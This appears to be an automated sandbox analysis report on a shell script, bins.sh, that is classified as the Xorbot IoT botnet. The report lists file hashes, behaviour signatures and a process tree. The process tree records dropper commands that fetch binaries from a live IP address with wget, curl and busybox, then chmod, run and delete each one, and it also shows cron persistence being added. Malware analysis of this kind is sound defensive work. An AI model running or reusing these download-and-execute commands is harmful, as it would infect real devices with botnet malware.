Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 08:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d32474a35e8f1f0273df0472abcffbd1

  • SHA1

    7050456a281a217032b8081dc2fecde1dd47d39a

  • SHA256

    d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59

  • SHA512

    1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6

  • SSDEEP

    96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          ./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            ./bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/chmod
              chmod 777 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • File and Directory Permissions Modification
              PID:744
            • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              ./X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Executes dropped EXE
              PID:745
            • /bin/rm
              rm X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:758
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                ./6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Executes dropped EXE
                PID:773
              • /bin/rm
                rm 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                  PID:776
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Writes file to tmp directory
                  PID:785
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /bin/chmod
                  chmod 777 gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  ./gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Executes dropped EXE
                  PID:805
                • /bin/rm
                  rm gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                    PID:808
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:811
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /bin/chmod
                    chmod 777 kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:813
                  • /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    ./kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Executes dropped EXE
                    PID:814
                  • /bin/rm
                    rm kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                      PID:816
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Writes file to tmp directory
                      PID:817
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:818
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Writes file to tmp directory
                      PID:819
                    • /bin/chmod
                      chmod 777 x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • File and Directory Permissions Modification
                      PID:820
                    • /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      ./x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:821
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:823
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:824
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:825
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:826
                          • /bin/rm
                            rm x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                            2⤵
                              PID:830
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                              2⤵
                                PID:863
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                2⤵
                                  PID:925
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:928
                                • /bin/chmod
                                  chmod 777 Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:935
                                • /tmp/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                  ./Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                  2⤵
                                  • Executes dropped EXE
                                  PID:937
                                • /bin/rm
                                  rm Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                  2⤵
                                    PID:938
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                    2⤵
                                      PID:940
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      2⤵
                                        PID:941

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /tmp/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc

                                            Filesize

                                            111KB

                                            MD5

                                            701e7a55a4f3650f5feee92a9860e5fc

                                            SHA1

                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                            SHA256

                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                            SHA512

                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                          • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /var/spool/cron/crontabs/tmp.ZhUnS9

                                            Filesize

                                            210B

                                            MD5

                                            8326c1dbe4ffd92f61ca34d606ae0537

                                            SHA1

                                            642bdc6ff467bdae1f86891d13651250a7cd9ae4

                                            SHA256

                                            ba3dd504316b01dd6401ae7f78c05c73a1b8db9ede236b396bdd0e5c5fc99ad0

                                            SHA512

                                            b93e4fde86d0f55087c535ec575c2c2e5bb295153ac63164d646544a28d7d13a37f0fe8b505ca916bd6b08929e44b21005e9d15693ddd2aeea5149d78af05ff0